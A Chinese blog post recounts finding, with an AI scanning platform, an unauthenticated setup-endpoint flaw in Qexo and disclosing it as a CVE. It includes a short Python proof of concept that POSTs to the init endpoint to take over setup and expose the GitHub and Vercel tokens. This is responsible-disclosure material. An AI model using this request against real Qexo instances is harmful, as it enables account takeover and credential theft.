我是如何水到 Qexo 的一个高危漏洞的(9.3分)?
初见端倪
使用平台扫描到漏洞
看某公众号的文章时偶然发现长亭旗下的MonkeyScan平台正在进行公测(注册就送3000 Credits,200行1个credit),本着可以不用但不能没有的心态,就注册了一个玩玩,先被我测试的是mx-space/core(因为我自己博客在用),但有价值的似乎就一个头像链内链引发的SSRF(实测下来其实无价值)然后又测试了下Tinder
突然间Qexo就冒到我脑海中(虽说hexo我也有好久没用了,但Qexo我毕竟贡献过代码),就扔后台扫了扫,这回高危列表里有一个吸引了我:

未认证用户也可触发?有点意思啊。于是立即尝试复现
尝试复现
(由于之前的Qexo被我删了,重新部署就遇到了问题)
立即进行相关设置,进入后台
结果我忘记抓包保存了……,等到后面耽误了点时间。
首先在浏览器中访问 ~/api/init_step/ 但返回404,查阅代码发现要用POST请求
于是乎打开ApiFox,发送……

交给ChatGPT问了下,好烦,就用Python复现了吧。
import requests
BASE_URL = "https://admin.trfox.top"
session = requests.Session()
# 1️⃣ 访问首页获取 CSRF
resp = session.get(BASE_URL)
csrftoken = session.cookies.get("csrftoken")
print("CSRF Token:", csrftoken)
# 2️⃣ 正确请求 Step 1
url = BASE_URL + "/api/init_step/"
headers = {
"Referer": BASE_URL + "/",
"X-CSRFToken": csrftoken,
"X-Requested-With": "XMLHttpRequest",
}
response = session.post(url, headers=headers)
print("Status:", response.status_code)
print("Response:", response.text)
结果又遇到问题:返回信息如下(操作失败):
{
"msg": "\u64cd\u4f5c\u5931\u8d25!",
"status": false,
"current_step": null,
"context": {}
}
Why? 遂返回平台阅读细节,原来请求时有一个data要发送,格式如下:
{
"step": "1",
"language": "zh_CN",
"csrfmiddlewaretoken": csrftoken,
}
修改代码,运行成功,此时访问Qexo,可以看到:

(其实初期看到报告以为只是能创建新的管理员并覆盖旧设置(理论上把上面的data修改为step=2,并附加相关数据即可),但没想到最终结果竟然是拿到Github和Vercel Token进行进一步的利用,也算是远超预期了吧。)
联系作者
由于Qexo当时还没有设置security policy,于是在QQ上联系了abudu:

一番设置后成功进入 report vulnerable 界面,开始写相关报告(因为这个漏洞触发太简单了,所以一开始的报告相当简略):

| 指标 | 含义 | 取值 | 说明 |
|---|---|---|---|
| AV (Attack Vector) | 攻击向量 | N (Network) | 可通过网络远程发起攻击 |
| AC (Attack Complexity) | 攻击复杂度 | L (Low) | 攻击条件简单 |
| AT (Attack Requirements) | 攻击前提条件 | N (None) | 无额外前提 |
| PR (Privileges Required) | 所需权限 | N (None) | 无需权限 |
| UI (User Interaction) | 用户交互 | N (None) | 不需要用户参与 |
| VC (Vulnerable System Confidentiality) | 机密性影响(漏洞系统) | H (High) | 高机密性影响 |
| VI (Vulnerable System Integrity) | 完整性影响(漏洞系统) | N (None) | 无完整性影响 |
| VA (Vulnerable System Availability) | 可用性影响(漏洞系统) | N (None) | 无可用性影响 |
| SC (Subsequent System Confidentiality) | 后续系统机密性影响 | H (High) | 可影响其他系统机密性 |
| SI (Subsequent System Integrity) | 后续系统完整性影响 | H (High) | 可影响其他系统完整性 |
| SA (Subsequent System Availability) | 后续系统可用性影响 | H (High) | 可影响其他系统可用性 |
CWE的话则是:
- Improper Access Control (CWE-284)
- Insufficiently Protected Credentials (CWE-522)
- Exposure of Sensitive Information to an Unauthorized Actor (CWE-200)
- Missing Authentication for Critical Function (CWE-306)
进入修复流程
abudu 5月1号傍晚挺忙的,但他挺注意这件事,在当晚一有空就立即修复了相关漏洞(点赞)。


漏洞正式被披露&领到CVE编号
- 5月2号PR被合并,Qexo 4.2.0发布
- 5月8号CVE被正式发放,编号为:
CVE-2026-44828 - 6月15号漏洞正式在Github予以披露
总结:
这回也确实算是撞大运了吧,恰好用AI扫到了这个漏洞(而且是超高危的),然后恰好也对这方面略熟悉,立刻提交了漏洞(这种机会真的是先到先得),但对攻击者亦是如此。
Abudu 说这应该是前段时间vibe时出现的问题,不得不感慨AI对大型工程的理解与安全控制方面还有相当多欠缺。
不过好在Qexo4目前的用户暂时不多,而且被我(啊不对是AI)率先发现了,报告给作者(自豪),没有太大影响,但还是建议各位立刻升级。
这枚CVE编号,就算是我18岁的生日礼物吧(感觉是最有价值的一个了)。